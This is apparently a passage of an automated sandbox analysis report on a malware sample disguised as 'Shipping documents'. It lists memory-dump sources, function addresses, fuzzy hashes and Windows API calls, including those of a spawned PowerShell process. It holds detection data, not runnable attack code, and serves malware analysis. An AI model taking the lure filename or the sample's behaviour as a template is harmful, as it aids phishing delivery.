Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3125694417
Opcode ID: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction ID: c6f1eefeac9f22653a6718740f6635ad40246fc98af2d22d27e4b5974eb8f820
Opcode Fuzzy Hash: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction Fuzzy Hash: E1D0A7B3400930EEC312AB04EC04DAF73ACEF123007868827F980A7165D7785D81C6EC

Function 6FE81A61 Relevance: 5.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,7622F360,00000000,00000000,?,?,6FE81295,00000000,/TIMEOUT=,00000000), ref: 6FE81A71
lstrlenW.KERNEL32(?,?,?,6FE81295,00000000,/TIMEOUT=,00000000), ref: 6FE81A7C
lstrcmpiW.KERNEL32(?,?,?,?,6FE81295,00000000,/TIMEOUT=,00000000), ref: 6FE81A9A
lstrlenW.KERNEL32(00000000,?,?,6FE81295,00000000,/TIMEOUT=,00000000), ref: 6FE81AB5

Memory Dump Source

Source File: 00000000.00000002.2153670485.000000006FE81000.00000020.00000001.01000000.00000005.sdmp, Offset: 6FE80000, based on PE: true

Associated: 00000000.00000002.2153651950.000000006FE80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153686664.000000006FE82000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153704607.000000006FE83000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153723885.000000006FE84000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fe80000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: lstrlen$lstrcmpi
String ID:
API String ID: 1808961391-0
Opcode ID: f9062b3d7601ce68e37680be98a692450ad3d6c70f1ab5131483b6045cc4b89a
Instruction ID: cbdf79f4265768bab3dd61839a7f9ae1ebf40efe2243754549fd8bc746b9fa9e
Opcode Fuzzy Hash: f9062b3d7601ce68e37680be98a692450ad3d6c70f1ab5131483b6045cc4b89a
Instruction Fuzzy Hash: 7E018635200518BFDB01AFE5DC80C9D7BE8EF463A472140AAFD28D7210D774DA41DB90

Function 00405FAC Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBC
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FD4
CharNextA.USER32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FE5
lstrlenA.KERNEL32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FEE

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction ID: e9567a821587a5f0376c4e2be66d4cfc8c6f540c5076303c4651ac02cb4e93c6
Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction Fuzzy Hash: E1F09631105519FFC7029FA5DE00D9FBBA8EF05350B2540B9F840F7250D678DE01AB69

Analysis Process: powershell.exePID: 5008, Parent PID: 432COMMON

Executed Functions

Function 0424EAE0 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

\Vhk, xrefs: 0424ED97

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID: \Vhk
API String ID: 0-3219809403
Opcode ID: 6bdc0069be621edb67a23c57be21e62416a366648cc2551d1f6608402a97f677
Instruction ID: afd0b99485ec290131d1122aac18d62b339b02f39093bbdbf1cdcc01bfaa6d96
Opcode Fuzzy Hash: 6bdc0069be621edb67a23c57be21e62416a366648cc2551d1f6608402a97f677
Instruction Fuzzy Hash: 1DB13C70F1020ACFEB14CFA9C8857ADBBF6FF88714F158529D815A7254EB74A845CB81

Function 0424F3B0 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b7dd0ff555aa43cb9fd062c577ebdcffa18e7cb18e5749f07c3cc6aa903c98a
Instruction ID: 06cb84212389214c752c08cd998c3b46c972047e9b0d57647937b46aa9b23897
Opcode Fuzzy Hash: 4b7dd0ff555aa43cb9fd062c577ebdcffa18e7cb18e5749f07c3cc6aa903c98a
Instruction Fuzzy Hash: 92B18C70F1020ACFDB58CFA8DA8179DBBF2EFC8314F158529D814AB254EB74A845CB81

Function 04247810 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb52b852e96cc675503fd2873d446ff65ad8b673b29d5ef0becddbe521d1790e
Instruction ID: 3df5f7aae8d16bbe88734359d72a63d12ee59afdc7403455085565dd4b11d7aa
Opcode Fuzzy Hash: bb52b852e96cc675503fd2873d446ff65ad8b673b29d5ef0becddbe521d1790e
Instruction Fuzzy Hash: FB415A34B002158FDB18DF64C958AAEBBF6EFC8754F144868E416EB7A0DB35AD41CB90

Function 0424AFE8 Relevance: 6.8, Strings: 5, Instructions: 518COMMON

Download Yara Rule

Strings

h]hk, xrefs: 0424B212
h]hk, xrefs: 0424B6B6
h]hk, xrefs: 0424BB78
Ihk, xrefs: 0424BBA4
8Nhk, xrefs: 0424C0D8

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID: 8Nhk$h]hk$h]hk$h]hk$Ihk
API String ID: 0-2620401904
Opcode ID: d41b0ce3af9a3993043373d417f3f1aafe0262f236d4e75ff636e843a83196dc
Instruction ID: e26a6e72c1a7fce39c713150ef61ee9af6fcc0ef9419b9c65737c412754feb7f
Opcode Fuzzy Hash: d41b0ce3af9a3993043373d417f3f1aafe0262f236d4e75ff636e843a83196dc
Instruction Fuzzy Hash: 0A225030B111188FCB29DB25C8946AEBBB6EFC9304F1480A9D50AAB351DF35ED45CF95

Function 0424F11C Relevance: 2.7, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

\Vhk, xrefs: 0424F197
\Vhk, xrefs: 0424F2EA

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID: \Vhk$\Vhk
API String ID: 0-2443416373
Opcode ID: d674996c8f566d8f1754b782d2bc51c924c14a24f6afd9d3971574158bb106fd
Instruction ID: 449d669da624a4333670a60461b66214f12008a3e2bd8266748c728aa8deba2e
Opcode Fuzzy Hash: d674996c8f566d8f1754b782d2bc51c924c14a24f6afd9d3971574158bb106fd
Instruction Fuzzy Hash: F47168B0E1024ADFDB18CFA8C98179EBBF2EFC8714F158129E405A7254EB74A841CB91

Function 0424F128 Relevance: 2.7, Strings: 2, Instructions: 180COMMON

Download Yara Rule

Strings

\Vhk, xrefs: 0424F197
\Vhk, xrefs: 0424F2EA

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID: \Vhk$\Vhk
API String ID: 0-2443416373
Opcode ID: e1c812de7a248eafdb718380bdc8a4c17610e7a6407d8e7a588a0153491ccfe0
Instruction ID: 39bead36459bc3590f92b4e4315d590acc37a8e2a68da3d485a11b4ef85df581
Opcode Fuzzy Hash: e1c812de7a248eafdb718380bdc8a4c17610e7a6407d8e7a588a0153491ccfe0
Instruction Fuzzy Hash: 64715970E1024ADFDF18CFA9C98179EBBF2EFC8714F158129E405A7254EB74A841CB91

Function 0424BCA0 Relevance: 2.6, Strings: 2, Instructions: 92COMMON

Download Yara Rule

Strings

h]hk, xrefs: 0424BB78
Ihk, xrefs: 0424BBA4

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID: h]hk$Ihk
API String ID: 0-236979794
Opcode ID: 1fc678d425a1c4aa1bc4a8608a03a03c94938ad73c3a628a4034a6c54fd17747
Instruction ID: 719707f2afd4ecea147b43d7bb7acb0225062d746e1ee5de29f04398c28202d9
Opcode Fuzzy Hash: 1fc678d425a1c4aa1bc4a8608a03a03c94938ad73c3a628a4034a6c54fd17747
Instruction Fuzzy Hash: 6A313B30B151188FCB2ADB74C8956EEB7B2AF89304F1444E9D509AB351CB35EE81CF91

Function 0424EAD4 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

\Vhk, xrefs: 0424ED97

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID: \Vhk
API String ID: 0-3219809403
Opcode ID: c63121af17aa299cb02e37e470ac818b4f67ff42265394809a270b9dc8ca630b
Instruction ID: 2b7ab29dfde218dc1697b26d3c6d677c23db6bc8a9976462f539aacd7938cd23
Opcode Fuzzy Hash: c63121af17aa299cb02e37e470ac818b4f67ff42265394809a270b9dc8ca630b
Instruction Fuzzy Hash: 10B13A70E1020ACFEB14CFA8C88579EBBF6FF88714F158529E815E7254EB74A845CB91

Function 06EF49A0 Relevance: 1.1, Instructions: 1099COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9891508559a5ae2624598bd7c09dc4be87318655c1383fe2676bc630c566f97
Instruction ID: 99e4e0e6d99df18f5ad206f67f6a56ac966e1844b849d0b4dbe6aa0f8a895e7c
Opcode Fuzzy Hash: f9891508559a5ae2624598bd7c09dc4be87318655c1383fe2676bc630c566f97
Instruction Fuzzy Hash: 1DA2A270B10314CFEB64CB68C444B9ABBB2AF94718F209199DA15AF396CB72DD41CF91

Function 06EF497E Relevance: .9, Instructions: 894COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 650ea2d014894bed017ff77f7cb225cec8219e4db87afb34a2fa197ba102efd7
Instruction ID: 6065f1831766c8151a1f2151d6a696826a68e32015501c27de5dca99722fddb2
Opcode Fuzzy Hash: 650ea2d014894bed017ff77f7cb225cec8219e4db87afb34a2fa197ba102efd7
Instruction Fuzzy Hash: B182A370A10311CFEB60CB54C444B9ABBB2EF94718F248199E915AF396CB76EE41CF61

Function 06EF33B0 Relevance: .8, Instructions: 826COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08ae0eb61798c4e01b3b4ea8942c0e23e602fe7b9b8cc02d7e3a59ca070ea761
Instruction ID: 5b377651b8355a0c06a945adeeb6ac530f5f10ea8b419a716cb146164e6e6b99
Opcode Fuzzy Hash: 08ae0eb61798c4e01b3b4ea8942c0e23e602fe7b9b8cc02d7e3a59ca070ea761
Instruction Fuzzy Hash: 51728D70B10214CFE754DB58C854BAABBB2AFC4714F14D099EA099F392DB72DD41CBA2

Function 06EF3F9A Relevance: .6, Instructions: 644COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3dcf7ce2cf3d5b6a8aa6e12544f9e3213c96df4003004d2e6d052605f1dc3d6
Instruction ID: 86e53b7bde2fa3577ef3b35b11b4745a81ce21b1d5d90dfd0448d3c069891eb0
Opcode Fuzzy Hash: f3dcf7ce2cf3d5b6a8aa6e12544f9e3213c96df4003004d2e6d052605f1dc3d6
Instruction Fuzzy Hash: F6525E70B10214CFE750DB58C855F5ABBB2ABC4714F14D099EA099B392DB72ED818FA2

Function 06EFCCBB Relevance: .6, Instructions: 621COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc6a41b38368f57f40435980715701f7e7679b06a0ae60933264b1022cd1a07f
Instruction ID: 7b16d1cfeb95b82bff9781ec41e8bcb7d88acce415fe5a6c6a0e1fcc04633dc9
Opcode Fuzzy Hash: fc6a41b38368f57f40435980715701f7e7679b06a0ae60933264b1022cd1a07f
Instruction Fuzzy Hash: 46424D70B10214DFD754DB58C850FAABBA2BFC9704F108098E919AF391DB72ED828F95

Function 06EF40FF Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3531e289b3e1bb3df5c59873ac25b95536b87d50ed43e1edbb7ac7cbf60ae769
Instruction ID: e02d6e41e33c7b10f538a3b2f2cb70580d7645072cf30582d9d727051addde1d
Opcode Fuzzy Hash: 3531e289b3e1bb3df5c59873ac25b95536b87d50ed43e1edbb7ac7cbf60ae769
Instruction Fuzzy Hash: 77425D70B10215CFE754DB58C855F9ABBB2ABC4714F109098EA099F392DB72ED818FA1

Function 06EFC4C8 Relevance: .5, Instructions: 504COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f4fd737fb9e25d3221cfdc0dd7af8e60f614dec2212f4841a044d4c971fe9f2
Instruction ID: 3464c093104b78987cc1308433c55a1c4f11e4c0bf56cf700a85b3cc271eeae1
Opcode Fuzzy Hash: 5f4fd737fb9e25d3221cfdc0dd7af8e60f614dec2212f4841a044d4c971fe9f2
Instruction Fuzzy Hash: 8C224C70B102149FD754DB58C854F9ABBA2FFC9704F508098EA09AF391CB72ED828F95

Function 06EF40AB Relevance: .5, Instructions: 487COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cca76c990127782b271485efb63172e16d1e0c0b1f38db9884c3b2e2eb6ae94
Instruction ID: 84a6d3748ad4cf4fe641e9f2ecd08585525e3a83df85742217839097ad6fd494
Opcode Fuzzy Hash: 6cca76c990127782b271485efb63172e16d1e0c0b1f38db9884c3b2e2eb6ae94
Instruction Fuzzy Hash: FC226E70B10214DFD750DB58C854F9ABBB2EB84714F10D098EA099F392DB72ED818FA2

Function 06EF13B0 Relevance: .5, Instructions: 484COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50970274ae1c97ca25a2a4f36feffe6659ba885ea101c91dc5fc6b441d8cc3ac
Instruction ID: 380052b7610d00209307d01ccde7d670b9f1d03970532242b35f201eada63592
Opcode Fuzzy Hash: 50970274ae1c97ca25a2a4f36feffe6659ba885ea101c91dc5fc6b441d8cc3ac
Instruction Fuzzy Hash: 5212AF70B11358DFEB54CB98D444B9ABBB2AFC4708F148069EA05AF391CB72ED41CB91

Function 06EFCDA2 Relevance: .5, Instructions: 469COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40790a5f99f0a1d6fff1d01bc4af002297e862fae0bd3f88db98fdb07a7e2317
Instruction ID: c77906edd9869d31bf462fccb63ea368d47451bdc044bf1479394d36558594e8
Opcode Fuzzy Hash: 40790a5f99f0a1d6fff1d01bc4af002297e862fae0bd3f88db98fdb07a7e2317
Instruction Fuzzy Hash: FB124B70B102149FD754DB58C854F9ABBB2FBC9704F508098EA09AF391CB72ED828F95

Function 06EF13AF Relevance: .4, Instructions: 418COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56484c03812ca642a0914a39cc0b1db895c39c7db5192459cc711a91dfe1f6e6
Instruction ID: 3e4284d76796649dae239c12bd2dc9d0911649cfe0a6e67fbc88544b7ba35991
Opcode Fuzzy Hash: 56484c03812ca642a0914a39cc0b1db895c39c7db5192459cc711a91dfe1f6e6
Instruction Fuzzy Hash: 19026B70B11358DFEB54CB58D444F9ABBB2BF84718F148059EA05AB391CB72ED41CB91

Function 06EF4348 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e054e14988d85daef7ee44b06e41b3488273fc79b9155bcc936d4d908dbfbd67
Instruction ID: dce710353c90344e150436b149c2764db389395fdcc344ac41182253d54922be
Opcode Fuzzy Hash: e054e14988d85daef7ee44b06e41b3488273fc79b9155bcc936d4d908dbfbd67
Instruction Fuzzy Hash: 7BB17B70E20204CFEB54CB58C444B9EBBF2AB88708F15D159EA056F796CB71ED46CB91

Function 0424F3A4 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2f86e7ec870207428bfebfe06164b06c024f562fd9eb55418fe87d2374dce8f
Instruction ID: 5a49388a405b24b4b01a0dd0703ff8c4b043d93e3f0e4f4f1987cfdc64c80f49
Opcode Fuzzy Hash: b2f86e7ec870207428bfebfe06164b06c024f562fd9eb55418fe87d2374dce8f
Instruction Fuzzy Hash: 5CB16B70F1020ACFDB58CFA8DA8179DBBF1EFC8714F158529E814AB254EB74A845CB91

Function 0424731C Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3cc0c2d548e505c48881fe60daa2107662d4559f770204edca55179951890f4
Instruction ID: e2abd04302711ce57983576a24c7712598c9103f67e3a9435c5faa913d056675
Opcode Fuzzy Hash: e3cc0c2d548e505c48881fe60daa2107662d4559f770204edca55179951890f4
Instruction Fuzzy Hash: 0EA15835B10209CFDB18DFA4D984AADBBB2FFC4310F118559E816AB364DB74AD49CB80

Function 06EF60D0 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5229dc9768a9f7405a00056a2b70d9c233bb4d287e5e257e05e5bbc3d51e3e
Instruction ID: cad16698d2b98ae1720ea04b582a89caee18d2c34f36cdfe67bd56b0c83785ce
Opcode Fuzzy Hash: 2a5229dc9768a9f7405a00056a2b70d9c233bb4d287e5e257e05e5bbc3d51e3e
Instruction Fuzzy Hash: 12919F70A10205CFE754CB98D445A9EBBF2EFC9744F149069DA05AF752CB72EC41CBA1

Function 06EF60CB Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e67da1e1c5fe7c75dd2a8bc5ceeb6ec455609d8b4dea0f20f0fb9bf70e126e50
Instruction ID: a3d0d9695b207d2e6fee6b3c5692ec6cbe8c1b8b1787b0688d3e34c2f8d03603
Opcode Fuzzy Hash: e67da1e1c5fe7c75dd2a8bc5ceeb6ec455609d8b4dea0f20f0fb9bf70e126e50
Instruction Fuzzy Hash: EA81BC70A10305DFE754CB58D584A9EBBF2EFC9308F149069E905AB752CB32EC40CBA1

Function 04242AA0 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c058808fd45a2a14fdca35b9d422473a59086bfd87338b7c12bfb8d1ac5edb22
Instruction ID: 22353b018f432a8f7f1c0a35292810cbae7870b499ad2f1eeaf4a68244eb69b4
Opcode Fuzzy Hash: c058808fd45a2a14fdca35b9d422473a59086bfd87338b7c12bfb8d1ac5edb22
Instruction Fuzzy Hash: D7916D74A00609CFCB19CF59C494AAEFBB1FF88354B248699E915AB365C731FC51CBA0

Function 04247BD6 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2a36a3c6bfbd5ff7e4032bee1236c92841dfea5ade23f8faf1b777382c8f1fb
Instruction ID: 06363e7600d146b724c167d3f714ba93b8e2291c5377902ec576b831bcbcd6a5
Opcode Fuzzy Hash: b2a36a3c6bfbd5ff7e4032bee1236c92841dfea5ade23f8faf1b777382c8f1fb
Instruction Fuzzy Hash: 43711930A11209DFDB18DFA5D884AADBBB2FFC8304F158569D412AB7A0DB71AD46CB40

Function 04247A53 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e4401dcfec1acf86487fc1f2c7fe6932016ac749a6c7bfc88c272d4bcc7b61c
Instruction ID: 8a4bcb7c0b8c7ecbaee7fb5f587eb983feb753cbeec0e6488dbb977a5f54a02d
Opcode Fuzzy Hash: 6e4401dcfec1acf86487fc1f2c7fe6932016ac749a6c7bfc88c272d4bcc7b61c
Instruction Fuzzy Hash: 1A618F30A00209DFCB18DF69D884AAEBBB6FFC8304F158969D415AB751DB71AD46CB90

Function 042477F9 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2769613516.0000000004240000.00000040.00000800.00020000.00000000.sdmp, Offset: 04240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4240000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8fa487b86c91aa3b7820e5d7405528a40c6bbbe7b6835bce43441b9bf797d32
Instruction ID: 7ed4ea8e8bfddf9e5341bb5dbf4a5a88a41889be262c873ad086327875c44540
Opcode Fuzzy Hash: e8fa487b86c91aa3b7820e5d7405528a40c6bbbe7b6835bce43441b9bf797d32
Instruction Fuzzy Hash: 7041AE35B00215DFDB19DF64D854AAEBBB6EFC9354F084469E406EB7A0CB35AD01CBA0

Function 06EF5DCC Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2777307236.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a9ada0a0f889e2a663ec11f04725986f17184dc70188b6da4c5ed1e2952736
Instruction ID: 7c08037356429f7ceba575272aa10ec783b9ede414b7cd137b10880f0fd0991c
Opcode Fuzzy Hash: f1a9ada0a0f889e2a663ec11f04725986f17184dc70188b6da4c5ed1e2952736
Instruction Fuzzy Hash: 05416C31B24341CFF7508B7098107AA7BA19FE1258F285066DA52CF6A2DF3AC945C371

Function 06EF0B00 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

